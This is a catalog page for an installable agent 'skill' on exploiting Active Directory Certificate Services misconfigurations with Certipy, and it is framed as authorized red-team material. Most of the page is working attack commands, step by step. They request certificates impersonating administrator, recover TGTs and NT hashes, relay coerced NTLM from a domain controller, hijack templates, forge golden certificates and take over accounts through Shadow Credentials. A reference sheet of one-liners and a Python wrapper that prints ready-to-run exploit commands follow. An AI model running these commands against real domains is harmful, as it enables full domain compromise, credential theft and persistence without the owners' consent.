red teaming

Exploiting AD CS with Certipy

Enumerate and exploit Active Directory Certificate Services ESC1 through ESC16 misconfigurations with Certipy, including SAN abuse, NTLM relay to web enrollment (ESC8), and golden certificate forgery.

active-directoryadcscertipyesc1esc8pkinitprivilege-escalationred-team
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Legal Notice: This skill is for authorized security testing and educational purposes only. Active Directory Certificate Services attacks can result in full domain compromise. Run these techniques only against systems you own or have explicit written authorization to test. Unauthorized use is illegal under computer fraud statutes.

Overview

Active Directory Certificate Services (AD CS) is Microsoft's public-key infrastructure role used to issue certificates for authentication, encryption, and signing inside a Windows domain. SpecterOps researchers Will Schroeder and Lee Christensen documented a family of privilege-escalation primitives in their 2021 whitepaper Certified Pre-Owned, naming them ESC1 through ESC8. The community has since extended the catalog through ESC16. Because a certificate that maps to a privileged principal can be used for PKINIT Kerberos authentication, an attacker who obtains such a certificate can authenticate as a Domain Admin or Domain Controller without ever knowing the password — and the certificate remains valid even after a password reset.

Certipy (package certipy-ad, maintained by Oliver Lyak / ly4k) is the de-facto offensive toolkit for AD CS. It is a pure-Python tool that enumerates certificate authorities and templates over LDAP/RPC, requests and forges certificates, performs PKINIT/Schannel authentication, runs Shadow Credentials attacks, and relays coerced NTLM authentication into AD CS HTTP and RPC enrollment endpoints. Certipy supports detection and exploitation across the full ESC1-ESC16 range, making it the primary tool for AD CS assessment. Source: ly4k/Certipy and SpecterOps "Certified Pre-Owned".

When to Use

  • During internal penetration tests and red-team engagements where AD CS is in scope
  • When a low-privileged domain foothold needs a path to Domain Admin / Domain Controller
  • To validate that certificate template ACLs and CA configuration are hardened
  • When testing detection coverage for certificate-based privilege escalation
  • During purple-team exercises to generate ESC1/ESC8 telemetry for blue-team tuning

Prerequisites

  • Authorized engagement scope that explicitly includes AD CS exploitation
  • A foothold: valid domain credentials (password, NT hash, or Kerberos ticket) for any low-privileged user
  • Network reachability to a Domain Controller (LDAP/389, LDAPS/636) and the CA host
  • Python 3.10+ (Certipy 5.x requires Python 3.12+) and a Linux attack host
  • Install Certipy:
    # Recommended isolated install
    pipx install certipy-ad
    # Or with pip
    pip install certipy-ad
    # Verify
    certipy --version
  • For ESC8 relay you also need a coercion tool (Coercer/PetitPotam) and reachable victim machine accounts

Objectives

  • Enumerate every CA, template, and enrollment endpoint in the forest
  • Identify which ESC1-ESC16 misconfigurations are exploitable from the current principal
  • Request a certificate impersonating a privileged target (ESC1 SAN abuse)
  • Relay coerced authentication into AD CS web enrollment to obtain a DC certificate (ESC8)
  • Authenticate with a forged/issued certificate to recover a TGT and NT hash
  • Document each finding with evidence and remediation guidance

MITRE ATT&CK Mapping

ID Technique Application in this skill
T1649 Steal or Forge Authentication Certificates Requesting, forging, and abusing AD CS certificates (ESC1-ESC16) to authenticate as privileged principals

Workflow

Step 1: Enumerate AD CS with certipy find

Collect CA and template configuration and flag vulnerable templates. find runs LDAP and RPC queries and produces JSON, a BloodHound-compatible ZIP, and a human-readable text report.

# Full enumeration, only enabled templates, hide built-in admin ACEs
certipy find \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -text -enabled -hide-admins
 
# Output only templates Certipy considers vulnerable
certipy find \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -vulnerable -stdout
 
# Authenticate with an NT hash instead of a password
certipy find -u 'attacker@corp.local' -hashes ':fc525c9683e8fe067095ba2ddc971889' \
    -dc-ip 10.0.0.100 -vulnerable -stdout

Review the [!] Vulnerabilities block in the output. Each finding is labeled ESC1...ESC16 with the affected template/CA name.

Step 2: Exploit ESC1 — Enrollee-Supplied Subject (SAN abuse)

ESC1 templates let a low-privileged enrollee specify an arbitrary Subject Alternative Name and include the Client Authentication EKU. Request a certificate for a privileged UPN and pin the target SID (Certipy auto-adds the SID extension to satisfy the post-May-2022 strong-mapping patch).

certipy req \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
    -ca 'CORP-CA' -template 'VulnUserTemplate' \
    -upn 'administrator@corp.local' \
    -sid 'S-1-5-21-1111111111-2222222222-3333333333-500'
# -> saves administrator.pfx

Step 3: Authenticate with the certificate via certipy auth

Use the issued PFX to perform PKINIT, obtain a TGT, and recover the target's NT hash.

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100
# Output: a .ccache TGT and the recovered NT hash for administrator

If PKINIT is unavailable, fall back to Schannel/LDAP authentication:

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell

Step 4: Exploit ESC8 — NTLM relay to AD CS Web Enrollment

ESC8 abuses the AD CS web enrollment interface (/certsrv/) that accepts NTLM auth. Stand up Certipy's relay server targeting the CA's HTTP endpoint, then coerce a Domain Controller to authenticate to your relay (coercion covered in the Coercer skill).

# Terminal 1: relay coerced auth into web enrollment, request a DC cert
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'
 
# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

Certipy writes a dc.pfx. Authenticate as the DC machine account and DCSync:

certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100

Step 5: Exploit ESC4 — Template ACL hijack

If you hold write access over a template, temporarily reconfigure it into an ESC1-vulnerable state, exploit, then restore.

# Make the template vulnerable (save the original config first)
certipy template -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration
# ... run Step 2 ESC1 request, then restore the saved configuration

Step 6: Forge a Golden Certificate (post-compromise persistence)

With access to the CA's private key (e.g., via backup), forge certificates for any principal offline.

# Extract the CA certificate and private key from a compromised CA
certipy ca -backup -u 'admin@corp.local' -hashes :<nthash> \
    -ca 'CORP-CA' -dc-ip 10.0.0.100
 
# Forge a certificate for any user using the CA key
certipy forge -ca-pfx 'CORP-CA.pfx' \
    -upn 'administrator@corp.local' \
    -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'

Step 7: Shadow Credentials shortcut

If you have write access to a target's msDS-KeyCredentialLink, Certipy can take over the account end-to-end (see the dedicated Shadow Credentials skill).

certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim-dc$'

Tools and Resources

Resource Purpose Link
Certipy (ly4k) Primary AD CS attack toolkit https://github.com/ly4k/Certipy
Certipy Wiki Command reference and ESC explanations https://github.com/ly4k/Certipy/wiki
Certified Pre-Owned (SpecterOps) Original ESC1-ESC8 research https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
The Hacker Recipes — AD CS Attack walkthroughs https://www.thehacker.recipes/ad/movement/ad-cs
Impacket ntlmrelayx Alternative ESC8 relay https://github.com/fortra/impacket

ESC Vulnerability Reference

ESC Misconfiguration
ESC1 Enrollee-supplied subject + Client Auth EKU on a low-priv template
ESC2 Any Purpose / no EKU template usable as enrollment agent
ESC3 Enrollment Agent template with loose enroll rights
ESC4 Write access over a template (hijack into ESC1)
ESC5 Weak ACLs on PKI objects (CA, NTAuthCertificates)
ESC6 CA EDITF_ATTRIBUTESUBJECTALTNAME2 allows arbitrary SAN
ESC7 Dangerous Manage CA / Manage Certificates permissions
ESC8 NTLM relay to AD CS HTTP web enrollment
ESC9 No security extension (szOID_NTDS_CA_SECURITY_EXT) on template
ESC10 Weak certificate mapping registry settings
ESC11 NTLM relay to AD CS RPC (ICertPassage) endpoint
ESC13 Issuance policy linked to a privileged group (OID group link)
ESC15 Application Policies abuse (CVE-2024-49019, "EKUwu")
ESC16 Security extension disabled CA-wide

Validation Criteria

  • certipy find -vulnerable ran and produced a list of exploitable templates/CAs
  • At least one ESC misconfiguration confirmed with a successful certipy req
  • certipy auth returned a TGT and NT hash for the impersonated privileged account
  • ESC8 relay (if in scope) yielded a Domain Controller certificate
  • Any modified template (ESC4) was restored to its original configuration
  • Each finding documented with command output, affected object, and remediation
  • Issued certificates and PFX files securely handled and removed at engagement close
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 2

api-reference.md3.2 KB

Certipy Command Reference

Package: certipy-ad (binary: certipy). Source: https://github.com/ly4k/Certipy/wiki

Subcommands

Subcommand Purpose
certipy find Enumerate CAs, templates, and enrollment endpoints; flag ESC vulnerabilities
certipy req Request (or forge via SAN) a certificate from a template
certipy auth Authenticate with a PFX via PKINIT/Schannel; recover TGT + NT hash
certipy relay Relay coerced NTLM into AD CS HTTP/RPC web enrollment (ESC8/ESC11)
certipy shadow Shadow Credentials attack on msDS-KeyCredentialLink
certipy ca Manage/backup the CA, enable templates, manage officers
certipy template Read/modify certificate template configuration (ESC4)
certipy forge Forge a Golden Certificate from a stolen CA key
certipy account Create/modify/query machine and user accounts
certipy cert Manipulate PFX/PEM certificate files (convert, extract)

Common Authentication Flags

Flag Meaning
-u USER@DOMAIN Username (UPN form)
-p PASSWORD Cleartext password
-hashes [LM]:NT Pass-the-hash authentication
-k / -no-pass Use Kerberos ccache (KRB5CCNAME)
-dc-ip IP Domain Controller IP
-ns IP / -dns-tcp DNS resolver / use TCP for DNS
-target HOST Target CA/host FQDN
-debug Verbose output

certipy find Flags

Flag Meaning
-vulnerable Show only templates/CAs Certipy deems vulnerable
-enabled Only enabled templates
-hide-admins Hide built-in admin ACEs in output
-stdout Print report to stdout
-text Write a text report file
-json / -bloodhound Output JSON / BloodHound-ingestible data

certipy req Flags

Flag Meaning
-ca NAME Target Certificate Authority name
-template NAME Certificate template to enroll in
-upn UPN SAN UserPrincipalName to impersonate (ESC1)
-dns NAME SAN dNSName to impersonate
-sid SID Embed objectSid (strong mapping)
-pfx FILE Output PFX path
-application-policies OID ESC15 application policy abuse

certipy relay Flags (ESC8/ESC11)

Flag Meaning
-target http://CA HTTP web enrollment target (ESC8)
-target rpc://CA RPC ICertPassage target (ESC11)
-template NAME Template to request (e.g. DomainController, User)
-ca NAME CA name when relaying

certipy shadow Flags

Flag Meaning
shadow auto Add KeyCredential, auth, dump hash, restore — end to end
shadow add/list/clear/info Granular KeyCredential operations
-account NAME Target account (victim, dc$)

Example One-Liners

certipy find -u u@corp.local -p 'pw' -dc-ip 10.0.0.100 -vulnerable -stdout
certipy req -u u@corp.local -p 'pw' -ca CORP-CA -template VulnTpl -upn administrator@corp.local -sid S-1-5-21-...-500
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100
certipy relay -target http://CA.CORP.LOCAL -template DomainController
certipy shadow auto -u u@corp.local -p 'pw' -dc-ip 10.0.0.100 -account victim-dc$
certipy forge -ca-pfx CORP-CA.pfx -upn administrator@corp.local
standards.md1.1 KB

Standards Mapping — Exploiting AD CS with Certipy

MITRE ATT&CK (Enterprise)

ID Name Rationale
T1649 Steal or Forge Authentication Certificates Certipy requests, relays, and forges AD CS certificates that map to privileged principals, enabling PKINIT authentication as those principals.

Reference: https://attack.mitre.org/techniques/T1649/

NIST Cybersecurity Framework 2.0

ID Name Rationale
PR.AA-05 Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege and separation of duties AD CS template enroll rights, CA management permissions, and PKI object ACLs are exactly the access-control surface this skill tests; ESC1-ESC16 all stem from over-permissive entitlements.

Reference: https://csrc.nist.gov/projects/cybersecurity-framework

Notes

  • ESC8/ESC11 chain Forced Authentication (T1187) and Adversary-in-the-Middle (T1557) when combined with coercion + relay; those are covered in companion skills.
  • Remediation maps to NIST PR.PS-01 (hardening baselines) for CA/template configuration.

Scripts 1

agent.py5.7 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
certipy_esc_assessor.py — Automate an AD CS ESC enumeration pass with Certipy.

This helper wraps `certipy find` (the real `certipy-ad` binary), runs it in JSON
mode, parses the resulting report, and prints a prioritized list of exploitable
ESC findings with the exact follow-on `certipy req` command for ESC1-style cases.

Authorized use only. Run against environments you are permitted to test.

Install the underlying tool first:
    pipx install certipy-ad   # provides the `certipy` binary

Examples:
    python certipy_esc_assessor.py -u attacker@corp.local -p 'Passw0rd!' \
        --dc-ip 10.0.0.100
    python certipy_esc_assessor.py -u attacker@corp.local \
        --hashes :fc525c... --dc-ip 10.0.0.100 --outdir ./loot
"""
import argparse
import glob
import json
import os
import shutil
import subprocess
import sys
import tempfile


def build_find_cmd(args, outdir):
    """Construct the certipy find command line."""
    cmd = ["certipy", "find", "-dc-ip", args.dc_ip, "-json", "-vulnerable"]
    if args.enabled:
        cmd.append("-enabled")
    cmd += ["-u", args.user]
    if args.password:
        cmd += ["-p", args.password]
    elif args.hashes:
        cmd += ["-hashes", args.hashes]
    elif args.kerberos:
        cmd += ["-k", "-no-pass"]
    else:
        sys.exit("[!] Provide -p, --hashes, or -k for authentication.")
    if args.ns:
        cmd += ["-ns", args.ns]
    # certipy writes <timestamp>_Certipy.json into the current working dir
    cmd += ["-output", os.path.join(outdir, "certipy")]
    return cmd


def run_certipy(cmd):
    if shutil.which("certipy") is None:
        sys.exit("[!] 'certipy' not found on PATH. Install with: pipx install certipy-ad")
    print("[*] Running:", " ".join(cmd))
    try:
        proc = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
    except subprocess.TimeoutExpired:
        sys.exit("[!] certipy find timed out after 600s.")
    if proc.returncode != 0:
        sys.stderr.write(proc.stdout + "\n" + proc.stderr + "\n")
        sys.exit(f"[!] certipy exited with code {proc.returncode}")
    return proc.stdout


def load_report(outdir):
    """Find and load the JSON report certipy produced."""
    candidates = sorted(glob.glob(os.path.join(outdir, "*Certipy.json")) +
                        glob.glob(os.path.join(outdir, "*.json")))
    if not candidates:
        sys.exit("[!] No JSON report found from certipy output.")
    path = candidates[-1]
    print(f"[*] Parsing report: {path}")
    with open(path, "r", encoding="utf-8") as fh:
        return json.load(fh), path


def extract_findings(report):
    """Walk the certipy JSON for templates flagged with [ESCx] vulnerabilities."""
    findings = []
    templates = report.get("Certificate Templates", {})
    if isinstance(templates, dict):
        iterable = templates.values()
    else:
        iterable = templates
    for tpl in iterable:
        vulns = tpl.get("[!] Vulnerabilities") or tpl.get("Vulnerabilities") or {}
        if not vulns:
            continue
        findings.append({
            "template": tpl.get("Template Name") or tpl.get("Name", "?"),
            "ca": (tpl.get("Certificate Authorities") or ["?"])[0]
                  if isinstance(tpl.get("Certificate Authorities"), list)
                  else tpl.get("Certificate Authorities", "?"),
            "vulns": vulns,
        })
    return findings


def suggest_command(args, finding):
    """Produce a ready-to-run req command for ESC1-class findings."""
    if any("ESC1" in k or "ESC4" in k for k in finding["vulns"]):
        auth = f"-p '{args.password}'" if args.password else (
            f"-hashes {args.hashes}" if args.hashes else "-k -no-pass")
        return (f"certipy req -u '{args.user}' {auth} -dc-ip {args.dc_ip} "
                f"-ca '{finding['ca']}' -template '{finding['template']}' "
                f"-upn 'administrator@{args.user.split('@')[-1]}' "
                f"-sid '<TARGET-SID>'")
    if any("ESC8" in k for k in finding["vulns"]):
        return ("certipy relay -target 'http://<CA-FQDN>' -template 'DomainController' "
                "# then coerce a DC to authenticate to your relay host")
    return "# Manual exploitation required — review ESC type above."


def main():
    ap = argparse.ArgumentParser(description="Automate AD CS ESC enumeration with Certipy.")
    ap.add_argument("-u", "--user", required=True, help="UPN, e.g. attacker@corp.local")
    ap.add_argument("-p", "--password", help="Cleartext password")
    ap.add_argument("--hashes", help="LM:NT or :NT hash for pass-the-hash")
    ap.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos ccache")
    ap.add_argument("--dc-ip", required=True, dest="dc_ip", help="Domain Controller IP")
    ap.add_argument("--ns", help="DNS resolver IP (often the DC)")
    ap.add_argument("--enabled", action="store_true", help="Only enabled templates")
    ap.add_argument("--outdir", default=None, help="Output directory (default: temp)")
    args = ap.parse_args()

    outdir = args.outdir or tempfile.mkdtemp(prefix="certipy_")
    os.makedirs(outdir, exist_ok=True)

    run_certipy(build_find_cmd(args, outdir))
    report, _ = load_report(outdir)
    findings = extract_findings(report)

    if not findings:
        print("[+] No vulnerable templates flagged by Certipy.")
        return

    print(f"\n[+] {len(findings)} vulnerable template(s) found:\n")
    for i, f in enumerate(findings, 1):
        esc_ids = ", ".join(sorted(f["vulns"].keys()))
        print(f"  {i}. Template '{f['template']}' on CA '{f['ca']}'")
        print(f"     Vulnerabilities: {esc_ids}")
        for k, v in f["vulns"].items():
            print(f"       - {k}: {v}")
        print(f"     Suggested next step:\n       {suggest_command(args, f)}\n")


if __name__ == "__main__":
    main()
Keep exploring